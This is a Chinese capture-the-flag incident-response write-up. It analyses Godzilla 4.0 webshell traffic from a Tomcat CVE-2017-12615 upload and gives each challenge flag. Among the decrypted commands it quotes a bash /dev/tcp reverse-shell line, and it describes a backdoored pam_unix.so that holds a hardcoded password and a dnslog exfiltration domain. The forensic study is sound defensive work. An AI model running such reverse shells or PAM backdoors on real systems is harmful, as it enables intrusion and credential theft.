第六章-哥斯拉4.0流量分析

第六章-哥斯拉4.0流量分析

1、黑客的IP是什么?

我们打开wireshark,哥斯拉的流量都是用POST的传输的,所以什么直接抓取post流量包

http.request.method=="POST"

image-20250801103902050

发现post的流量包都集中在hello.jsp这个文件,我们再搜索一下这个文件

http contains "/hello.jsp"

image-20250801111341948

这里有个hello.jsp的文件打开看看

image-20250801111400793

典型的哥斯拉流量包的特征至此我们确认黑客ip

flag{192.168.31.190}

2.黑客是通过什么漏洞进入服务器的?(提交CVE编号)

我们继续分析流量包

image-20250801105342391

在这个流量包的末尾这里发现了中间件为Apache Tomcat/8.5.19,这里又是用的put方式讲文件上传,所以我猜黑客是使用了Tomcat/8.5.19文件上传漏洞

flag{CVE-2017-12615}

image-20250801105358431

image-20250801105708570

3.黑客上传的木马文件名是什么?(提交文件名)

根据前面第一题可以知道文件名为hello.jsp

flag{hello.jsp}

4.黑客上传的木马连接密码是什么?

根据第一题可知

flag{7f0e6f}

5.黑客上传的木马解密密钥是什么?

根据第一题可知

flag{1710acba6220f62b}

6.黑客连接webshell后执行的第一条命令是什么?

我们继续分析流量包,在长度为313这里这个流量包点击进去感觉有点不对劲,返回包的内容比较少怀疑是执行了命令,讲请求包的加密内容丢到工具箱进行分析

image-20250801112305288

image-20250801112324836

解密出来是命令执行,可以看到第一条的命令

image-20250801113040567

cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand

命令结构解析

  • sh -c "cd "/";uname -r"

    • sh -c:以Shell解释器执行指定命令。

    • "cd "/";uname -r"
      
      • cd /:切换到根目录(/)。
      • ;uname -r:执行uname -r命令,获取系统内核版本信息。
  • 2>&1
  • 将标准错误输出(2)重定向到标准输出(1),合并输出和错误信息。
  • 用途:捕获命令执行的完整输出(包括错误信息),便于调试或日志记录

我们再把返回包丢进去解密即可确定黑客执行的命令是uname -r

flag{uname -r}

image-20250801113635015

7.黑客连接webshell时查询当前shell的权限是什么?

我们继续分析流量包,在305这个数据包里面解密返回包内容,可以看到用户拿到shell后执行了id命令,返回当前用户权限

flag{root}

image-20250801113917520

image-20250801113936920

image-20250801113902746

8.黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?

继续分析流量包,在长度329流量包这里,讲该流量包解密

image-20250801114815390

image-20250801114736691

黑客在这里执行了命令cat /etc/os-release命令,这个命令是显示发行版名称和版本的我们讲这里的返回包进行解密

image-20250801114801169

可以看到返回包返回的发发行版本,拿到flag

image-20250801114722059

flag{Debian GNU/Linux 10 (buster)}

9.黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)

继续分析流量包,在长度为323这里讲流量包进行解密

image-20250801115146263

可以看到黑客在这里明显使用了grep命令,

sh -c "cd /; rpm -qa | grep pam" 2>&1
  • sh -c "...":使用sh shell执行一个命令。
  • cd /:切换到根目录。
  • rpm -qa:列出所有已安装的RPM包。
  • grep pam:过滤出包含pam的包名。
  • 2>&1:将标准错误输出重定向到标准输出,这样所有的输出(包括错误信息)都会被捕捉到。

image-20250801115131549

image-20250801150439891

简单分析;

  • rpm: not found:表示系统中没有安装 rpm 命令,或者该命令不可用。rpm 是 Red Hat 系列 Linux 发行版中用于管理软件包的工具。

  • 2>&1: 1: 2>&1::这部分似乎是命令执行时的错误输出,但语法不太正确,可能是命令执行时的格式问题,导致输出混乱。

我讲这条命令没有成功执行不是我们想要的结果,继续分析流量包

image-20250801151242824

image-20250801151223647

cmdLine 0 sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3 2>&1executableFile shexecutableArgs - -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd "/";dpkg -l libpam-modules:amd64methodName execCommand

  • 命令结构sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1
    • sh -c:使用 shell 来执行命令。
    • cd "/":切换到根目录,但在这个上下文中没有实际效果。
    • dpkg -l libpam-modules:amd64:查询安装的 libpam-modules 包,特定于 amd64 架构。
    • 2>&1:将标准错误输出重定向到标准输出,以捕获所有输出信息。
  • 参数和方法
    • arg-0 sh:表示命令的第一个参数是 sh
    • arg-1 -c:表示使用 -c 选项来执行字符串中的命令。
    • arg-2 cd "/";dpkg -l libpam-modules:amd64":表示要执行的具体命令。
    • methodName execCommand:表示这是一个执行命令的方法调用。
  • 命令目的:黑客通过这个命令检查目标系统中是否安装了 libpam-modules 包,该包与 PAM(可插入式认证模块)相关,负责系统的身份验证和安全管理。通过查询该包的状态和版本信息,黑客可以评估系统的安全性。

我们继续对返回包进行解析

image-20250801151509270

最后的最后黑客成功“dpkg -l libpam-modules:amd64”也成功返回了“pam版本”将这段命令提取即可拿到flag

flag{dpkg -l libpam-modules:amd64}

10.黑客留下后门的反连的IP和PORT是什么?(IP:PORT)

这个时候分析流量包就要着重看看,解密后的流量包里面是否含有反弹命令了

继续一个一个找

image-20250801115945035

image-20250801115931935

讲长度为413这里,讲该流量包进行解密发现,这里解完密后依旧还有base64加密,而且这个格式像反弹命令讲加密的地方拿去解码

image-20250801115917234

可以确定黑客执行了反弹命令,这个命令 /bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1 是一个经典的反向 shell 命令,它允许攻击者在目标系统上获得一个交互式的 shell

execCommand 方法在这个例子中被用来执行一个复杂的命令,该命令通过 Base64 编码隐藏了其真实意图。解码后的命令是一个反向 shell,它会连接到指定的 IP 地址和端口,并提供一个交互式的 shell,允许攻击者远程控制目标系统

image-20250801120331227
flag{192.168.31.143:1313}

11.黑客通过什么文件留下了后门?

也是解密了好几条,在长度为1295这里一点进去一大串的加密内容,讲这段加密解密即可看到黑客在什么目录下面创建了后面

flag{pam_unix.so}

文件路径:/tmp/pam_unix.so

  • /tmp 目录通常用于存储临时文件,黑客选择这个目录可能是为了避开监控,因为很多系统管理员不会频繁检查该目录。
  • pam_unix.so 是一个常见的动态链接库文件,通常与 PAM(可插入式认证模块)相关联。这个文件名暗示了它可能涉及系统的身份验证。

image-20250801120959821

image-20250801120946706

image-20250801120821655

这里直接对黑客的ip和端口进行过滤流量也能看到黑客操作的文件

image-20250802160607043

12.黑客设置的后门密码是什么?

通过上题我们知道黑客存放的后门文件是pam_unix.sofileValue,我们直接从根目录进行搜索

find / -name "pam_unix.so"

image-20250801143137467

找到存放地址,追踪过去,来到当前目录,我这里使用的finalshell,所以直接可以下载

image-20250801143300216

image-20250801143407479

现在导出后门文件了,我们使用file命令看看文件类型,file 命令用于确定文件的类型。它通过检查文件的内容而不仅仅是文件的扩展名来识别文件类型。

file pam_unix.so

image-20250801143509680

pam_unix.so 是一个为 64 位 x86-64 架构编写的动态链接共享库,遵循 ELF 格式,包含调试信息且没有剥离。它是 PAM(可插入式认证模块)的一部分,用于处理基于 UNIX 的身份验证

这里我们涉及到一些逆向知识,我们使用逆向工具——64位的IDA进行分析

pam_sm_authenticate 是 PAM 框架中的关键函数,负责用户身份验证(要的就是这个验证“密码”)。与其他 PAM 函数相比,它专注于验证用户凭证,确保只有合法用户可以访问系统或服务

image-20250801145231931

flag{XJ@123}

13.黑客的恶意dnslog服务器地址是什么?

在密码上面就能看到一条dnslog的地址

%s.%s c0ee2ad2d8.ipv6.xxx.eu.org.

image-20250801145709133

代码中使用 snprintf 函数构造了一个 DNS 名称,结合了 namep 变量。虽然具体的 namep 值没有给出,但可以确定最终的地址是以 c0ee2ad2d8.ipv6.xxx.eu.org. 结尾目的是监控用户活动并建立与攻击者的联系

posted @ 2025-08-06 09:42  0xMouise  阅读(5)  评论(0)    收藏  举报